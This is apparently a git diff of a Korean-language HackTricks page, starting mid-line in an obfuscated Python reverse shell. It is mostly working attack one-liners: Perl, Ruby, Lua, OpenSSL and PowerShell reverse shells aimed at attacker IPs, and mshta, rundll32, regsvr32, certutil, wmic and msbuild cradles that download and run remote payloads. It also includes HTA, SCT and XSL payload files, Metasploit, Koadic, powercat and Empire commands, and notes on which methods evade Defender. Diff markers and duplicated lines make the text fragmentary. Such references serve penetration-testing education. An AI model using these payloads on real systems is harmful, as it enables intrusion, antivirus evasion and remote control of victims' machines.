[(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
|
||||
## Perl
|
||||
|
||||
펄
|
||||
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
|
||||
## 루비
|
||||
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
|
||||
## Lua
|
||||
|
||||
Lua (루아)는 브라질의 파이트 교육 센터(Centro de Ensino e Pesquisa em Informática)에서 개발된 경량 스크립팅 언어입니다. Lua는 임베디드 시스템에서의 사용을 목적으로 설계되었으며, C 언어로 작성되어 있어 이식성이 뛰어나고 높은 성능을 제공합니다. Lua는 게임 개발 및 웹 개발에서도 널리 사용되며, 확장성이 뛰어나고 강력한 기능을 제공합니다. Lua는 간결하고 직관적인 문법을 가지고 있어 쉽게 배우고 사용할 수 있습니다.
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
||||
## OpenSSH
|
||||
|
||||
공격자 (Kali)
|
||||
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
|
||||
피해자
|
||||
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -97,36 +83,30 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
|
||||
## Powershell
|
||||
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
|
||||
네트워크 호출을 수행하는 프로세스: **powershell.exe**\
|
||||
디스크에 기록된 페이로드: **아니요** (_procmon을 사용하여 찾을 수 있는 곳에는 적어도 없습니다!_)
|
||||
|
||||
디스크에 기록된 페이로드: **아니요** (_적어도 procmon을 사용하여 찾을 수 있는 곳에는 없습니다!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
|
||||
네트워크 호출을 수행하는 프로세스: **svchost.exe**\
|
||||
디스크에 기록된 페이로드: **WebDAV 클라이언트 로컬 캐시**
|
||||
디스크에 기록된 페이로드: **WebDAV 클라이언트 로컬 캐시**
|
||||
|
||||
**한 줄 설명:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
||||
**이 문서의 끝에서 다양한 Powershell 쉘에 대한 자세한 정보를 확인하세요**
|
||||
|
||||
## Mshta
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
|
@ -138,19 +118,15 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
|
||||
#### **hta-psh 역술 (hta를 사용하여 PS 백도어 다운로드 및 실행)**
|
||||
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
|
||||
**Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다. 스테이저 hta를 사용하여**
|
||||
|
||||
#### hta 예제
|
||||
|
||||
[**여기서**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -165,11 +141,9 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
#### **mshta - sct**
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -185,11 +159,7 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute code on a target system.
|
||||
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -200,15 +170,16 @@ msf exploit(windows/misc/hta_server) > exploit
|
|||
```bash
|
||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||
```
|
||||
|
||||
**디펜더에 의해 감지됨**
|
||||
|
||||
|
||||
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
* [여기서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
|
@ -216,13 +187,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
|||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
[**여기서**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -237,17 +206,13 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
run
|
||||
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
|
||||
```
|
||||
|
||||
**Rundll32 - Koadic**
|
||||
|
||||
```bash
|
||||
use stager/js/rundll32_js
|
||||
set SRVHOST 192.168.1.107
|
||||
|
@ -256,11 +221,9 @@ run
|
|||
#Koadic will tell you what you need to execute inside the victim, it will be something like:
|
||||
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
|
||||
```
|
||||
|
||||
## Regsvr32
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
|
@ -268,13 +231,11 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
|||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
@ -291,9 +252,7 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</registration>
|
||||
</scriptlet>
|
||||
```
|
||||
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
set target 3
|
||||
|
@ -302,50 +261,39 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
|
||||
**Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다. 스테이저 regsvr을 사용하여**
|
||||
|
||||
## Certutil
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [여기서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
B64dll을 다운로드하고 디코딩하여 실행합니다.
|
||||
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
|
||||
B64exe를 다운로드하고 디코딩한 후 실행하십시오.
|
||||
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
## **Cscript/Wscript**
|
||||
|
||||
## **Cscript/Wscript**
|
||||
```bash
|
||||
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
|
||||
```
|
||||
|
||||
**Cscript - Metasploit**
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
## PS-Bat
|
||||
|
||||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
|
||||
네트워크 호출을 수행하는 프로세스: **svchost.exe**\
|
||||
디스크에 기록된 페이로드: **WebDAV 클라이언트 로컬 캐시**
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
@ -354,36 +302,28 @@ impacket-smbserver -smb2support kali `pwd`
|
|||
```bash
|
||||
\\10.8.0.3\kali\shell.bat
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
## **MSIExec**
|
||||
|
||||
공격자
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
||||
피해자:
|
||||
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
|
||||
**감지됨**
|
||||
|
||||
## **Wmic**
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
* [여기서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
|
||||
예제 xsl 파일 [여기에서](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -395,36 +335,29 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
</ms:script>
|
||||
</stylesheet>
|
||||
```
|
||||
|
||||
**감지되지 않음**
|
||||
|
||||
**스테이저 wmic을 사용하여 매우 쉽게 Koadic 좀비를 다운로드하고 실행할 수 있습니다**
|
||||
**당신은 stager wmic을 사용하여 매우 쉽게 Koadic 좀비를 다운로드하고 실행할 수 있습니다**
|
||||
|
||||
## Msbuild
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
|
||||
이 기술을 사용하여 응용 프로그램 화이트리스트 및 Powershell.exe 제한을 우회할 수 있습니다. PS 셸로 프롬프트가 표시됩니다.\
|
||||
다음 기술을 사용하여 응용 프로그램 화이트리스트 및 Powershell.exe 제한을 우회할 수 있습니다. PS 셸로 프롬프트가 표시됩니다.\
|
||||
다음을 다운로드하고 실행하십시오: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
||||
**감지되지 않음**
|
||||
|
||||
## **CSC**
|
||||
|
||||
피해자 컴퓨터에서 C# 코드를 컴파일합니다.
|
||||
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
|
||||
다음 위치에서 기본 C# 역술을 다운로드할 수 있습니다: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**감지되지 않음**
|
||||
|
@ -432,46 +365,38 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
|
|||
## **Regasm/Regsvc**
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
|
||||
**시도해보지 않았습니다**
|
||||
**해보지 않았습니다**
|
||||
|
||||
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
||||
|
||||
## Odbcconf
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
|
||||
**시도해보지 않았습니다**
|
||||
|
||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||
|
||||
## 파워쉘 셸
|
||||
## 파워쉘 쉘
|
||||
|
||||
### PS-Nishang
|
||||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
**Shells** 폴더에는 다양한 셸이 있습니다. Invoke-\_PowerShellTcp.ps1\_을 다운로드하고 실행하려면 스크립트의 사본을 만들고 파일 끝에 추가하십시오:
|
||||
|
||||
**Shells** 폴더에는 다양한 쉘이 있습니다. **Invoke-_PowerShellTcp.ps1_**을 다운로드하고 실행하려면 스크립트를 복사하고 파일 끝에 추가하십시오:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
||||
웹 서버에서 스크립트를 제공하고 피해자의 단말기에서 실행합니다:
|
||||
|
||||
피해자의 컴퓨터에서 스크립트를 실행하도록 웹 서버에서 스크립트를 제공합니다:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
|
||||
Defender는 아직 악성 코드로 감지하지 못했습니다 (아직, 2019년 3월 4일).
|
||||
Defender는 악성 코드로 감지하지 않습니다 (아직, 2019년 3월 4일).
|
||||
|
||||
**할 일: 다른 nishang 쉘을 확인하세요**
|
||||
|
||||
|
@ -479,18 +404,15 @@ Defender는 아직 악성 코드로 감지하지 못했습니다 (아직, 2019
|
|||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
다운로드하고, 웹 서버를 시작하고, 수신기를 시작하고, 피해자의 단말기에서 실행하세요:
|
||||
|
||||
다운로드하고, 웹 서버를 시작하고, 수신기를 시작하고, 피해자의 단말에서 실행하세요:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
||||
Defender는 악성 코드로 감지하지 않습니다 (아직, 2019년 3월 4일).
|
||||
|
||||
**powercat에서 제공하는 다른 옵션:**
|
||||
|
||||
바인드 쉘, 역쉘 (TCP, UDP, DNS), 포트 리다이렉트, 업로드/다운로드, 페이로드 생성, 파일 제공...
|
||||
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -507,48 +429,39 @@ powercat -c 10.1.1.15 -p 443 -e cmd -g
|
|||
Start A Persistent Server That Serves a File:
|
||||
powercat -l -p 443 -i C:\inputfile -rep
|
||||
```
|
||||
|
||||
### Empire
|
||||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
파워쉘 런처를 생성하고 파일에 저장한 후 다운로드하고 실행합니다.
|
||||
|
||||
파워쉘 런처를 생성하고 파일에 저장한 다음 다운로드하고 실행합니다.
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
||||
**악성 코드로 감지됨**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
유니콘을 사용하여 메타스플로잇 백도어의 파워쉘 버전 생성
|
||||
|
||||
유니콘을 사용하여 메타스플로잇 백도어의 파워쉘 버전을 생성합니다.
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
|
||||
다음은 생성된 리소스를 사용하여 msfconsole을 시작하는 방법입니다:
|
||||
|
||||
다음과 같이 생성된 리소스로 msfconsole을 시작하십시오:
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
|
||||
피해자에서 다음을 실행하고 _powershell\_attack.txt_ 파일을 서비스하는 웹 서버를 시작하십시오:
|
||||
|
||||
피해자에서 다음을 실행하도록 _powershell\_attack.txt_ 파일을 서빙하는 웹 서버를 시작하십시오:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
||||
**악성 코드로 감지됨**
|
||||
|
||||
## 더 보기
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 악의적인 PS 모듈이 사전로드된 PS 콘솔 (암호화됨)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) : 악의적인 PS 모듈이 사전로드된 PS 콘솔 (암호화됨)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) 악의적인 PS 모듈과 프록시 탐지가 포함된 PS 콘솔 (IEX)
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) : 악의적인 PS 모듈과 프록시 탐지가 포함된 PS 콘솔 (IEX)
|
||||
|
||||
## 참고 자료
|
||||
|
||||
|
@ -558,22 +471,25 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 악의적인 PS 모듈과 프
|
|||
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
|
||||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) **Try Hard Security Group**
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) **또는** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나**트위터\*\* 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요\*\*.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭 공유.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
